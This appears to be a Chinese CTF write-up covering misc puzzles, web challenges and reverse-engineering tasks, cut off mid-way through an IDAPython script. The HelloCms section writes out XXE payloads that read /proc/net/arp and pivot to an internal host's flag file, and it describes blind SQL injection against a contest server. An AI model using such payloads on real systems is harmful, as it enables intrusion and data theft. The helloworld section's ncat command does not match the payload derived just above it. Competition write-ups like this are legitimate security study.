跟校队大手子们打的,又被带飞了,混进决赛了)orzorzorz

wp赛后一小时狂赶,比较草,直接贴这了(

Misc

水果

图片后藏压缩包

image-20251129121104368

看到提示oursecret,用oursecret对压缩包提取,猜测密码为shuiguo

image-20251129121437471

压缩包中的oursecret解出来刚好16行,所以应该是吧它当作字典,对flag.txt中的每一行去其中查找行号0-f,得到一个hex字符串,然后from hex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# -*- coding: utf-8 -*-

def main():
# 读取 OurSecret.txt 的所有行,去除末尾换行符
with open('OurSecret.txt', 'r', encoding='utf-8') as f:
secret_lines = [line.rstrip('\n') for line in f.readlines()]

# 构建内容到行号(0-based)的映射字典,便于快速查找
content_to_index = {content: idx for idx, content in enumerate(secret_lines)}

# 读取 flag.txt 的每一行
with open('flag.txt', 'r', encoding='utf-8') as f:
flag_lines = [line.rstrip('\n') for line in f.readlines()]

result_chars = []

for line in flag_lines:
if line not in content_to_index:
raise ValueError(f"未在 OurSecret.txt 中找到内容: '{line}'")

idx = content_to_index[line]

if 0 <= idx <= 9:
result_chars.append(str(idx))
elif 10 <= idx <= 15:
result_chars.append(chr(ord('a') + (idx - 10)))
else:
raise ValueError(f"行号 {idx} 超出允许范围(仅支持 0~15)")

result = ''.join(result_chars)
print(result)

if __name__ == '__main__':
main()
image-20251129121956912

hundred

打着打着发现是原题https://www.cnblogs.com/ainsliaea/p/16683545.html

转置解压100层压缩包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import os
import zipfile
import shutil

def reverse_bytes(data: bytes) -> bytes:
return data[::-1]

def main():
# 初始输入文件
current_file = 'attachment'
base_output_dir = 'extracted'

# 清理并创建主输出目录
if os.path.exists(base_output_dir):
shutil.rmtree(base_output_dir)
os.makedirs(base_output_dir)

# 当前要处理的“压缩包”其实是上一步倒置后的数据
with open(current_file, 'rb') as f:
current_data = f.read()

for level in range(2, 101):
# Step 1: 对当前数据按字节倒置 → 得到一个 ZIP 文件内容
zip_data = reverse_bytes(current_data)

# Step 2: 创建本层解压目录
layer_dir = os.path.join(base_output_dir, f'layer_{level-1}') # layer_1 对应解压 attachment 得到 flag2
os.makedirs(layer_dir, exist_ok=True)

# Step 3: 尝试作为 ZIP 解压
try:
with zipfile.ZipFile(io.BytesIO(zip_data)) as zf:
zf.extractall(layer_dir)
extracted_files = zf.namelist()
except Exception as e:
print(f"[!] 在 layer_{level-1} 解压失败(期望得到 flag{level}): {e}")
break

print(f"[+] Layer {level-1}: 解压成功,文件列表: {extracted_files}")

# Step 4: 在解压出的文件中寻找下一个目标文件:flag{level}
next_flag_name = f'flag{level}'
next_flag_path = os.path.join(layer_dir, next_flag_name)

# 如果存在 flag{level},就读取它作为下一轮的 current_data
if os.path.isfile(next_flag_path):
with open(next_flag_path, 'rb') as f:
current_data = f.read()
# 继续下一轮
else:
print(f"[!] 未找到 {next_flag_name},停止处理。")
break

# 如果已经到 flag99,不再继续下一轮(因为没有 flag100)
if level == 100:
print("[+] 已处理至 flag99,结束。")
break

print(f"\n[✓] 所有解压内容已保存至 '{base_output_dir}' 目录。")

if __name__ == '__main__':
import io # 放在这里避免顶层 import 问题
main()

得到secret.txt和hint.txt,编写正则表达式提取到base

1
2
3
4
import re
with open('enc.txt','r') as f:
pat = re.compile(r'\d[a-z]{5}[A-Z][^A-Z](.)[a-z]\d{2}[A-Z]\D')
print(pat.findall(f.read()))

然后解一下就能得到flag

flag{74c959166bc7fbaacaa4d77cf692b1c7}

sudoku

仍然接近原题https://w3nx1z1.github.io/posts/352a8c69.html

解数独和找flag还原的事

flag{4e4d6c332b6fe62a63afe56171fd3725}

Web

baby_ssti

fenjing一把梭

Screenshot 2025-11-29 092804

HelloCms

先对目标网站 http://120.79.131.78:38888 SQL 注入,用 bp 的 Intruder 进行盲注爆破。

爆出来数据库名为 heavysql 。表名为 users 。列名包括:id, username, password, user, current_connections 。

之后得到密码 kingdom123ABC

进入之后有一个 xxe

利用 XXE 读取了服务器的 ARP 缓存表文件 /proc/net/arp,发现内网中还有其他存活主机

<!DOCTYPE ANY[<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.17.0.3/index.php">]><ANY><name>&xxe; </name></ANY>读取 172.17.0.3 的 index.php

得到

image-20251129125415975

然后同样伪协议读取 flag.php<!DOCTYPE ANY[<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.17.0.3/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php">]><ANY><name>&xxe;</name></ANY>

得到 flag

Reverse

babyre

绕过反调试,修改SF值

image-20251129120857935

主逻辑在这里,off_6CB090指向Input的+10字节偏移的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
unsigned __int64 sub_400CCE()
{
unsigned __int64 v0; // rax
unsigned __int64 v1; // rax
__int64 v2; // rdx
unsigned __int64 result; // rax
int i; // [rsp+8h] [rbp-1C8h]
int j; // [rsp+Ch] [rbp-1C4h]
char v6[16]; // [rsp+10h] [rbp-1C0h] BYREF
char v7[16]; // [rsp+20h] [rbp-1B0h] BYREF
_BYTE v8[408]; // [rsp+30h] [rbp-1A0h] BYREF
unsigned __int64 v9; // [rsp+1C8h] [rbp-8h]

v9 = __readfsqword(0x28u);
qmemcpy(v7, "vpff`vv$", 8); // success!
qmemcpy(v6, "cdli$", 5); // fail
for ( i = 0; i <= 7; ++i )
v7[i] ^= 5u;
for ( j = 0; j <= 4; ++j )
v6[j] ^= 5u;
if ( *(_QWORD *)off_6CB090 == 0x7D646F6F675F7369LL )
{
LODWORD(v0) = sub_4289B0((const __m128i *)off_6CB090);
KSA((__int64)v8, (__int64)off_6CB090, v0);
LODWORD(v1) = sub_4289B0((const __m128i *)((char *)off_6CB090 - 10));
RC4((__int64)v8, (__int64)off_6CB090 - 10, v1);
if ( *(_QWORD *)((char *)off_6CB090 - 10) == 0x2F34ED427B495C01LL
&& *(_QWORD *)((char *)off_6CB090 - 2) == 0x8B526A1E2EABAA4FLL
&& *(_QWORD *)((char *)off_6CB090 + 6) == 0x840FLL )
{
sub_400F40(1u, v7, 8uLL);
sub_413A60(0);
}
}
sub_400F40(1u, v6, 5uLL);
result = __readfsqword(0x28u) ^ v9;
if ( result )
sub_447DC0(1LL, v6, v2);
return result;
}

0x7D646F6F675F7369LL小端序就是,RC4解密

image-20251129121038842

helloworld

主函数:

image
image

逻辑有点乱,丢给ai整理一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
int main() {
char *buf = (char*)malloc(100); // EBX

srand(time(NULL));
for (int i = 0; i < 100; ++i)
buf[i] = rand() % 0xFF; // 初始随机内容

char a_to_z[27] = "abcdefghijklmnopqrstuvwxyz";

char input[100];
fgets(input, 100, stdin);

size_t len = strlen(input);
if (len == 0)
goto done;

int pos = 0; // 每次步长 +2
int reg = 0; // ESI, 由 opcode 3 设置

while (true) {
size_t len_minus1 = len - 1;
if (pos + 1 >= len_minus1)
break; // 不够形成一条完整指令

unsigned char code = (unsigned char)input[pos];
unsigned op = code >> 4; // 高 4 位
unsigned idx = code & 0x0F; // 低 4 位

if (op == 3) {
unsigned char param = (unsigned char)input[pos + 1];
reg = param & 0x1F; // 低 5 位
}

switch (op) {
case 1: // 小写 -> 大写
if (idx < strlen(buf)) {
unsigned char ch = buf[idx];
if ('a' <= ch && ch <= 'z')
buf[idx] = ch - 0x20;
}
break;

case 2: // 大写 -> 小写
if (idx < strlen(buf)) {
unsigned char ch = buf[idx];
if ('A' <= ch && ch <= 'Z')
buf[idx] = ch + 0x20;
}
break;

case 3: // 写入 alphabet[reg]
if (idx < strlen(buf) && reg < strlen(a_to_z))
buf[idx] = a_to_z[reg]; // 'a' + reg
break;

case 4: // 写 '\0' 终止符
if (idx < strlen(buf))
buf[idx] = '\0';
break;

default:
// 其他 opcode:不做任何事
break;
}

pos += 2;
len = strlen(input); // 实际上不会改变,但它每次都重新算一遍
}

done:
// 输出 buf(按 C 字符串),再输出换行
sub_4011CE(std::cout, buf, sub_401348);
std::cout << sub_401348;
return 0;
}

可以看出这是一个 VM 类的题目,要求我们输入正确的 opcode 才会给出flag,由于这道题名为 HelloWorld ,我们便猜测要求输出固定字符串 "HelloWorld"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
\1.     H(idx=0):先写 'h' 再转大写
– 'h' - 'a' = 7
– op3: 0x30 0x07
– op1: 0x10 0x01(dummy=1)
\2. e(idx=1):小写
– 'e' - 'a' = 4
– op3: 0x31 0x04
\3. l(idx=2):小写
– 'l' - 'a' = 11 = 0x0B
– op3: 0x32 0x0B
\4. l(idx=3):小写
– op3: 0x33 0x0B
\5. o(idx=4):小写
– 'o' - 'a' = 14 = 0x0E
– op3: 0x34 0x0E
\6. W(idx=5):先写 'w' 再转大写
– 'w' - 'a' = 22 = 0x16
– op3: 0x35 0x16
– op1: 0x15 0x01(dummy=1)
\7. o(idx=6):小写
– op3: 0x36 0x0E
\8. r(idx=7):小写
– 'r' - 'a' = 17 = 0x11
– op3: 0x37 0x11
\9. l(idx=8):小写
– op3: 0x38 0x0B
\10. d(idx=9):小写
– 'd' - 'a' = 3
– op3: 0x39 0x03
\11. 终止符 '\0'(idx=10):
– op4: 0x4A 0x01

对应 payload :

30 07 10 01 31 04 32 0B 33 0B 34 0E 35 16 15 01 36 0E 37 11 38 0B 39 03 4A 01 0A

使用命令发送 payload 给靶机:

python -c "import sys; sys.stdout.buffer.write(b'0b0b0e0e0b4a')" | ncat 47.107.164.227 43889

得到 flag :

image

flag{351bae89be05efa178d61be9a61ac6b7}

veryez

VM题目,输入分别是text和data段,整理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include <stdio.h>

#define _DWORD unsigned int
#define _BYTE unsigned char

void __cdecl vm(int text, int data)
{
unsigned int opcode; // eax
int _ip_value; // ecx
int v4; // eax
int v5; // eax
int v6; // eax
int v7; // eax
int v8; // eax
int v9; // eax
int ip;
unsigned int v10; // eax
unsigned int v11; // eax
unsigned int v12; // esi
int v13; // eax
int v14; // eax
unsigned int v15; // esi
int v16; // esi
int v17; // eax
int v18; // esi
int v19; // [esp+Ch] [ebp-4h] BYREF

sub_401390();
ip = 0;
while (1)
{
opcode = *(_DWORD *)(text + 4 * ip);
_ip_value = ++ip;
switch (opcode)
{
case 0x101u:
v19 = pop();
v4 = pop();
push(v19 + v4);
break;
case 0x102u:
v19 = pop();
v5 = pop();
push(v19 & v5);
break;
case 0x103u:
puts_Terminated();
case 0x104u:
v6 = *(_DWORD *)(text + 4 * _ip_value);
ip = _ip_value + 1;
push(v6);
break;
case 0x105u:
printf("Enter integer: ");
scanf("%d", &v19);
push(v19);
break;
case 0x201:
v19 = pop();
v7 = pop();
push(v19 - v7);
case 0x202u:
v19 = pop();
v8 = pop();
push(v19 | v8);
break;
case 0x203u:
ip = *(_DWORD *)(text + 4 * _ip_value) >> 2;
break;
case 0x204u:
pop();
break;
case 0x205u:
v9 = pop();
printf("%d\n", v9);
break;
case 0x301:
v19 = pop() + 1;
push(v19);
break;
case 0x302:
v19 = pop(); // 0x302
push(~v19);
case 0x303:

v12 = *(_DWORD *)(text + 4 * _ip_value); // 0x303
ip = _ip_value + 1;
if (!pop())
ip = v12 >> 2;
case 0x304:
v19 = *(_DWORD *)(pop() + data); // 0x304
push(v19);
case 0x305:
v13 = pop();
gets(data + v13);
case 0x401u:
v19 = pop() - 1;
push(v19);
break;
case 0x402u:
v19 = pop();
v14 = pop();
push(v19 ^ v14);
break;
case 0x403u:
v15 = *(_DWORD *)(text + 4 * _ip_value);
ip = _ip_value + 1;
if (pop())
ip = v15 >> 2;
break;
case 0x404u:
v16 = pop();
*(_DWORD *)(v16 + data) = pop();
break;
case 0x405u:
v17 = pop();
puts((const char *)(data + v17));
break;
case 0x504u:
v19 = *(unsigned __int8 *)(pop() + data);
push(v19);
case 0x604u:
v18 = pop();
*(_BYTE *)(v18 + data) = pop();
default:
continue;
}
}
}

然后AI写个python脚本反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
import sys
from typing import List, Dict, Optional, Tuple


# --- VM 环境模拟 ---
class VMEnvironment:
"""模拟 VM 的堆栈和数据内存"""

def __init__(self, data_size=4096):
self.stack: List[int] = []
# 模拟 data 内存(字节数组),大小为 4KB
self.data_memory = bytearray([0] * data_size)
self.data_base_addr = 0x1000 # 假设数据基址

def push(self, val: int):
# 栈操作值是 32 位有符号整数
# 使用 & 0xFFFFFFFF 模拟 32位封装,但 Python 整数是动态的
# 这里简单地存储整数
self.stack.append(val)

def pop(self) -> int:
if not self.stack:
raise IndexError("Stack underflow!")
return self.stack.pop()

def get_data_addr(self, offset: int) -> int:
"""根据栈上的 offset 获得 data_memory 中的实际索引"""
return offset - self.data_base_addr

# 模拟外部 C 函数
def puts_terminated(self):
"""模拟 puts_Terminated (功能未知,假设打印一个换行符)"""
print("[puts_Terminated called]")

def gets_sim(self, offset: int):
"""模拟 gets(data + offset) - 注意:gets 不安全"""
try:
user_input = input(f"[gets] Enter string for data[{hex(offset)}]: ")
except EOFError:
user_input = ""

data_index = self.get_data_addr(offset)

# 写入数据内存,并添加 null 终止符
encoded_input = user_input.encode("ascii")
for i, byte in enumerate(encoded_input):
if data_index + i < len(self.data_memory):
self.data_memory[data_index + i] = byte

# 写入 null 终止符
if data_index + len(encoded_input) < len(self.data_memory):
self.data_memory[data_index + len(encoded_input)] = 0

def puts_sim(self, offset: int):
"""模拟 puts(data + offset)"""
data_index = self.get_data_addr(offset)

try:
# 找到 null 终止符
null_index = self.data_memory.index(0, data_index)
output = self.data_memory[data_index:null_index].decode("ascii")
print(output)
except ValueError:
# 找不到 null 终止符
print(f"[Error] String at {hex(offset)} is not null-terminated.")
except IndexError:
print(f"[Error] Offset {hex(offset)} out of bounds.")


# --- VM 实现 ---
class VM:
OPCODE_MAP: Dict[int, Tuple[str, Optional[int], str]] = {
# Opcode: (Name, Operand Count, Description)
0x101: ("ADD", 0, "Pop Y, Pop X, Push X + Y"),
0x102: ("AND", 0, "Pop Y, Pop X, Push X & Y"),
0x103: ("PRINTS_TERM", 0, "Call puts_Terminated()"),
0x104: ("PUSH_CONST", 1, "Push next word (Immediate)"),
0x105: ("READ_INT", 0, "Read int from stdin, Push"),
0x201: ("SUB", 0, "Pop Y, Pop X, Push X - Y"),
0x202: ("OR", 0, "Pop Y, Pop X, Push X | Y"),
0x203: ("JMP", 1, "IP = Immediate >> 2 (Unconditional Jump)"),
0x204: ("POP", 0, "Pop and discard value"),
0x205: ("PRINT_INT", 0, "Pop, Print as integer"),
0x301: ("INC", 0, "Pop X, Push X + 1"),
0x302: ("NOT", 0, "Pop X, Push ~X"),
0x303: ("JMPZ", 1, "Pop C, If C == 0, IP = Immediate >> 2"),
0x304: ("LOAD_DWORD", 0, "Pop Offset, Push *(_DWORD *)(data + Offset)"),
0x305: ("READ_STR", 0, "Pop Offset, gets(data + Offset)"),
0x401: ("DEC", 0, "Pop X, Push X - 1"),
0x402: ("XOR", 0, "Pop Y, Pop X, Push X ^ Y"),
0x403: ("JMPNZ", 1, "Pop C, If C != 0, IP = Immediate >> 2"),
0x404: (
"STORE_DWORD",
0,
"Pop Value, Pop Offset, *(_DWORD *)(data + Offset) = Value",
),
0x405: ("PRINTS_MEM", 0, "Pop Offset, puts(data + Offset)"),
0x504: ("LOAD_BYTE", 0, "Pop Offset, Push *(unsigned __int8 *)(data + Offset)"),
0x604: (
"STORE_BYTE",
0,
"Pop Value, Pop Offset, *(_BYTE *)(data + Offset) = Value",
),
}

def __init__(self, bytecode: List[int], data_base_addr: int):
self.text = bytecode
self.env = VMEnvironment()
self.env.data_base_addr = (
data_base_addr # 确保 data_base_addr 与 VMEnvironment 匹配
)

# --- 虚拟机反汇编器 ---
def disassemble(self):
"""将字节码转换为汇编指令列表"""
disassembly_output = []
ip = 0
while ip < len(self.text):
opcode = self.text[ip]
info = self.OPCODE_MAP.get(opcode)

if info:
name, operands, _ = info
instruction_addr = ip * 4

# 处理操作数 (Immediate)
if operands == 1:
if ip + 1 < len(self.text):
operand = self.text[ip + 1]

# 特殊处理跳转指令
if name in ["JMP", "JMPZ", "JMPNZ"]:
target_ip = operand >> 2
asm = f"{name} {target_ip:X}h (0x{operand:X})"
else:
asm = f"{name} 0x{operand:X}"

disassembly_output.append(
f"0x{instruction_addr:08X} {hex(opcode)}: {asm}"
)
ip += 2
else:
disassembly_output.append(
f"0x{instruction_addr:08X} {hex(opcode)}: {name} [MISSING OPERAND]"
)
ip += 1
else:
# 零操作数指令 (Stack operations)
asm = name
disassembly_output.append(
f"0x{instruction_addr:08X} {hex(opcode)}: {asm}"
)
ip += 1
else:
disassembly_output.append(
f"0x{ip*4:08X} {hex(opcode)}: DATA/UNKNOWN {hex(opcode)}"
)
ip += 1
return "\n".join(disassembly_output)

# --- 虚拟机执行器 (用于演示,未实现全部功能) ---
def run(self, max_steps=10000):
"""执行虚拟机代码,仅实现部分关键逻辑以供演示"""
ip = 0
steps = 0

while 0 <= ip < len(self.text) and steps < max_steps:
opcode = self.text[ip]
_ip_value = ip + 1
steps += 1

# 使用 try/except 处理栈不足的情况
try:
# 只有少数关键指令被实现,用于演示核心循环逻辑
if opcode == 0x104: # PUSH_CONST
v6 = self.text[_ip_value]
ip = _ip_value + 1
self.env.push(v6)

elif opcode == 0x304: # LOAD_DWORD
offset = self.env.pop()
data_index = self.env.get_data_addr(offset)
# 模拟读取 4 字节 DWORD
v19 = self.text[
data_index // 4
] # 假设 data_memory 也是 4 字节对齐的字列表
self.env.push(v19)
ip = _ip_value # Next Opcode

elif opcode == 0x301: # INC
v19 = self.env.pop() + 1
self.env.push(v19)
ip = _ip_value

elif opcode == 0x404: # STORE_DWORD
v16 = self.env.pop() # Offset
value = self.env.pop() # Value

data_index = self.env.get_data_addr(v16)
# 模拟写入 4 字节 DWORD
self.text[data_index // 4] = value # 简化处理,直接写回 text 数组
ip = _ip_value

elif opcode == 0x203: # JMP
jump_target_word = self.text[_ip_value]
ip = jump_target_word >> 2

elif opcode == 0x403: # JMPNZ
jump_target_word = self.text[_ip_value]
ip = _ip_value + 1
if self.env.pop() != 0:
ip = jump_target_word >> 2

# --- 其他指令未实现,仅处理 IP 递增 ---
# 假设所有单字 Opcode 都有 break (除 fall-through 案例外)
else:
info = self.OPCODE_MAP.get(opcode)
if info and info[1] == 1:
ip += 2 # Skip Opcode and Operand
else:
ip += 1 # Skip Opcode

except IndexError as e:
print(f"\n[EXECUTION ERROR] {e} at instruction {hex(ip*4)}")
break

print(f"\nExecution finished after {steps} steps.")


# --- 运行示例 ---
# 假设的字节码 (来自您之前提供的列表)
vm_bytecode = [
# 0x00408254
0x104,
0x118,
0x305,
0x104,
0x0,
0x104,
0x0,
0x404,
0x104,
0x2F,
# 0x0040827C
0x104,
0x0,
0x304,
0x201,
0x303,
0xD4,
0x104,
0x18,
0x104,
0x0,
# 0x004082A4
0x304,
0x101,
0x504,
0x104,
0x10,
0x104,
0x0,
0x304,
0x104,
0x7,
# 0x004082CC
0x102,
0x101,
0x504,
0x402,
0x104,
0x118,
0x104,
0x0,
0x304,
0x101,
# 0x004082F4
0x504,
0x201,
0x403,
0xD4,
0x104,
0x0,
0x304,
0x301,
0x104,
0x0,
# 0x0040831C
0x404,
0x203,
0x20,
0x104,
0x2F,
0x104,
0x0,
0x304,
0x201,
0x403,
# 0x00408344
0x104,
0x104,
0x218,
0x405,
0x103,
0x104,
0x21C,
0x405,
0x103,
]

# 假设 data 内存的起始地址(来自汇编代码的 .data:00408254 附近的引用)
# 这里我们假设 data_base_addr 只是一个逻辑地址,比如 0x1000
DATA_BASE_ADDR_SIMULATION = 0x1000
VM_START_ADDR = 0x408254

# --- 创建和反汇编 VM ---
my_vm = VM(vm_bytecode, DATA_BASE_ADDR_SIMULATION)


print(my_vm.disassemble())

反汇编结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
0x00000000 0x104: PUSH_CONST 0x118
0x00000008 0x305: READ_STR
0x0000000C 0x104: PUSH_CONST 0x0
0x00000014 0x104: PUSH_CONST 0x0
0x0000001C 0x404: STORE_DWORD
0x00000020 0x104: PUSH_CONST 0x2F
0x00000028 0x104: PUSH_CONST 0x0
0x00000030 0x304: LOAD_DWORD
0x00000034 0x201: SUB
0x00000038 0x303: JMPZ 35h (0xD4)
0x00000040 0x104: PUSH_CONST 0x18
0x00000048 0x104: PUSH_CONST 0x0
0x00000050 0x304: LOAD_DWORD
0x00000054 0x101: ADD
0x00000058 0x504: LOAD_BYTE
0x0000005C 0x104: PUSH_CONST 0x10
0x00000064 0x104: PUSH_CONST 0x0
0x0000006C 0x304: LOAD_DWORD
0x00000070 0x104: PUSH_CONST 0x7
0x00000078 0x102: AND
0x0000007C 0x101: ADD
0x00000080 0x504: LOAD_BYTE
0x00000084 0x402: XOR
0x00000088 0x104: PUSH_CONST 0x118
0x00000090 0x104: PUSH_CONST 0x0
0x00000098 0x304: LOAD_DWORD
0x0000009C 0x101: ADD
0x000000A0 0x504: LOAD_BYTE
0x000000A4 0x201: SUB
0x000000A8 0x403: JMPNZ 35h (0xD4)
0x000000B0 0x104: PUSH_CONST 0x0
0x000000B8 0x304: LOAD_DWORD
0x000000BC 0x301: INC
0x000000C0 0x104: PUSH_CONST 0x0
0x000000C8 0x404: STORE_DWORD
0x000000CC 0x203: JMP 8h (0x20)
0x000000D4 0x104: PUSH_CONST 0x2F
0x000000DC 0x104: PUSH_CONST 0x0
0x000000E4 0x304: LOAD_DWORD
0x000000E8 0x201: SUB
0x000000EC 0x403: JMPNZ 41h (0x104)
0x000000F4 0x104: PUSH_CONST 0x218
0x000000FC 0x405: PRINTS_MEM
0x00000100 0x103: PRINTS_TERM
0x00000104 0x104: PUSH_CONST 0x21C
0x0000010C 0x405: PRINTS_MEM
0x00000110 0x103: PRINTS_TERM

AI反编译一下, 0x10偏移处是8字节的异或密钥,0x18处是47字节的密文,解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
# --- 替换为您的实际十六进制数据 ---
# 警告:以下数据为示例,需要替换为您通过逆向工程获取的实际 data 内存内容!

# KeyData_2: 循环密钥,位于 data_base + 0x10,长度为 8 字节 (i & 7)
# 格式: [0x??, 0x??, 0x??, 0x??, 0x??, 0x??, 0x??, 0x??]
KEY_DATA_2 = [0x76, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x4D]

# KeyData_1: 主密钥,位于 data_base + 0x18,长度为 47 字节 (Expected_LEN)
# 格式: [0x??, 0x??, 0x??, 0x??, ..., 0x??] (共 47 个字节)
KEY_DATA_1 = [
0x10,
0x05,
0x13,
0x13,
0x0E,
0x51,
0x5B,
0x29,
0x45,
0x5E,
0x44,
0x42,
0x47,
0x53,
0x5B,
0x7A,
0x47,
0x51,
0x16,
0x4C,
0x45,
0x58,
0x58,
0x2F,
0x12,
0x29,
0x43,
0x12,
0x47,
0x03,
0x0F,
0x29,
0x46,
0x51,
0x11,
0x15,
0x45,
0x00,
0x0F,
0x2E,
0x15,
0x0B,
0x47,
0x15,
0x44,
0x02,
0x11,
]
# --- 核心解密逻辑 ---

EXPECTED_LEN = 0x2F # 47
FLAG_CHARS = []

if len(KEY_DATA_1) != EXPECTED_LEN:
print(
f"错误:主密钥长度应为 {EXPECTED_LEN} 字节,但提供了 {len(KEY_DATA_1)} 字节。"
)
exit()

if len(KEY_DATA_2) != 8:
print(f"错误:循环密钥长度应为 8 字节,但提供了 {len(KEY_DATA_2)} 字节。")
exit()

print(f"--- 正在生成 {EXPECTED_LEN} 字节的 Flag/Key ---")

for i in range(EXPECTED_LEN):
# 1. 获取主密钥字节 C1: KeyData_1[i]
C1 = KEY_DATA_1[i]

# 2. 获取循环密钥字节 C2: KeyData_2[i & 7]
C2_index = i & 0x7 # i % 8
C2 = KEY_DATA_2[C2_index]

# 3. 计算目标字符: V = C1 ^ C2
# Flag[i] = V
Target_Char_Value = C1 ^ C2

# 将 ASCII 值转换为字符
Target_Char = chr(Target_Char_Value)
FLAG_CHARS.append(Target_Char)

# 打印进度 (可选)
# print(f"i={i:02d}: C1=0x{C1:02X}, C2=0x{C2:02X} (Idx={C2_index}), Flag Char=0x{Target_Char_Value:02X} ('{Target_Char}')")

# 拼接并输出最终结果
generated_flag = "".join(FLAG_CHARS)

print("\n" + "=" * 50)
print("✅ 生成的 Flag/Key:")
print(generated_flag)
print("=" * 50)

# flag{07d3766227718d8094bd@1f2bcd08ca0acccb5a1c}

easyre

base64编码,RC4,再异或,根据v7的符号,决定是否异或22

image-20251129121642576

这里Xor 22根据结果可能有,可能没有

image-20251129121348454

根据结果能不能base64解密进行拼凑

1
2
3
ZmxhZ3tlYjM1NjRmODlzZjQ1YjI0b2FjMTJkYjhlY30=8bàû
ZmxhxVN{HolHpOmfNXZjQ1YjI0b2FjovhI{HJNY30=8bàû
xOZJZ3tlYjM1NjRmODlzxHs{Hk@dHMTJkYjhl{@ÂÙ
image-20251129121526246

final

固件逆向,使用PPC BigEnd打开

image-20251129124159518

idapython脚本恢复符号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import ida_bytes
import ida_name
import ida_funcs
import ida_ua
import ida_nalt
import ida_idaapi
import idc # 引入 idc 以便使用 print_console

# --- 符号表配置 ---
symbol_interval = 16
load_address = 0x10000
# 确保这些地址是正确的,它们应该是加载后的VA (Virtual Address)
symbol_table_start = 0x301e60 + load_address
symbol_table_end = 0x3293b0 + load_address
# --------------------

def process_symbol_table(start_ea, end_ea, interval):
"""
遍历自定义符号表,并根据表项创建函数和设置名称。

Args:
start_ea (int): 符号表的起始地址。
end_ea (int): 符号表的结束地址。
interval (int): 每个符号表项的间隔大小(字节)。
"""
current_ea = start_ea
count = 0
ida_idaapi.show_wait_box("Processing custom symbol table...")

print_console(f"--- 🚀 开始处理符号表:0x{start_ea:X} 到 0x{end_ea:X} ---")

while current_ea < end_ea:
try:
# 假设表项结构是:[?] [name_ptr] [func_ptr] [?] (共16字节)
# 名字指针偏移:4 字节
name_ptr_addr = current_ea + 4
# 函数地址偏移:8 字节

# **注意:使用 get_dword 假设目标文件是 32 位。**
# **如果是 64 位文件,应使用 ida_bytes.get_qword。**
name_ea = ida_bytes.get_dword(name_ptr_addr)

func_ptr_addr = current_ea + 8
func_ea = ida_bytes.get_dword(func_ptr_addr)

# 检查 name_ea 是否有效(非NULL,非FFFFFFFF)
if name_ea not in (0, 0xFFFFFFFF, 0xFFFFFFFFFFFFFFFF):
# 1. 创建字符串并获取内容
# 尝试创建字符串,长度设置为0表示自动检测
